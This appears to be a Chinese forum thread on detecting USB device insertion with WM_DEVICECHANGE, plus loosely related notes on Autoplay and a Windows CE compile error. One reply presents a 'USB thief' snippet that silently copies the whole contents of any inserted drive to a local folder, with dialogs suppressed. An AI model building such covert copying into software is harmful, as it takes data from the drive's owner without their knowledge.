现在的位置: 首页 > 综合 > 正文

当有U盘或摄像头插进USB口时, 程序如何检测到

2012年04月15日 ⁄ 综合 ⁄ 共 2179字 ⁄ 字号 评论关闭

当有U盘或摄像头插进USB口时, 程序如何检测到?
嘿嘿,楼主想做的跟我最近写的一个小程序差不多。下面是我简单写的U盘小偷程序,我是用SDK方式写的,你拿去参考,转换成MFC代码也很简单的: 
  case  WM_DEVICECHANGE:  //检测USB接口的外设插入 
      switch((UINT)wParam) 
      { 
                          case  DBT_DEVICEARRIVAL: 
              //MessageBox(hwnd,"发现新硬件!!","hello",MB_OK); 
                                SHFILEOPSTRUCT  fo;//复制文件应该放到一个线程里的 
                memset(&fo,  0,  sizeof(fo));               
                fo.wFunc  =  FO_COPY; 
                fo.pFrom  ="j:\\*.*";    //假设j盘是移动磁盘盘符 
                fo.pTo  =  "d:\\file";     
                                                      //全盘复制到d:\\file,够狠的,呵呵,你自己可确定个存放目录 
                fo.fFlags  =  FOF_SILENT  |  FOF_NOERRORUI; 
                                                            //不显示复制信息的对话框,小偷嘛^_^ 
              SHFileOperation(&fo);       
  break; 
    default: 
    break; 
  下面是查找U盘盘符的基本代码: 
  ...... 
  char  dir[30]; 
  for(char  cc='A';cc<='Z';cc++) 
    { 
        sprintf(dir,"%c:",cc);   
        if(GetDriveType((LPCTSTR)dir)==DRIVE_REMOVABLE)   
              brek;   
      //至多只能找到一个移动磁盘盘符,若有多个移动磁盘也是很容易实现的,你自己想想..... 
    } 
  ........... 
  上面的代码还可以像下面这样的写,同样也是至多只能找到一个可以移动磁盘盘符,修改成能找到多个盘符的情况也很容易,给FindU()  传个CString类型的数组参数,让它接收盘符就可以的了: 
  CString  FindU()   
  {   
      CString  dir=""; 
      for(char  cc='A';cc<='Z';cc++) 
    { 
        dir.Format("%c:",cc);   
        if(GetDriveType((LPCTSTR)dir)==DRIVE_REMOVABLE)   
              return  dir;   
    } 
    return  dir="  "; 
  } 
  至于要检测U盘是否已经拔除,响应相关的消息就是了,该论坛里也有高手发过相似的例子..........
http://msdn.microsoft.com/msdnmag/issues/01/11/autoplay/default.aspx
Autoplay in Windows XP: Automatically Detect and React to New Devices on a System
插入USB盘的时候电脑会自动弹出一个打开列表的窗口,询问要做什么,请问如何把我自己的程序加到这个列表中,用我的程序打开?
D:\Program Files\Windows CE Tools\wce500\test1\Include\Emulator\AYGShell.h(68) : error C2061: syntax error : identifier 'IShellPropSheetExt'
这个错误的解决方法在stdxfx.h
#include <aygshell.h>
#include <afxwin.h>        // MFC core and standard components
#include <afxext.h>        // MFC extensions
#include <afxdisp.h>        // MFC Automation classes
#include <afxdtctl.h>        // MFC support for Internet Explorer 4 Common Controls
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h>            // MFC support for Windows Common Controls
#endif // _AFX_NO_AFXCMN_SUPPORT

#pragma comment( lib, "aygshell.lib" )

抱歉!评论已关闭.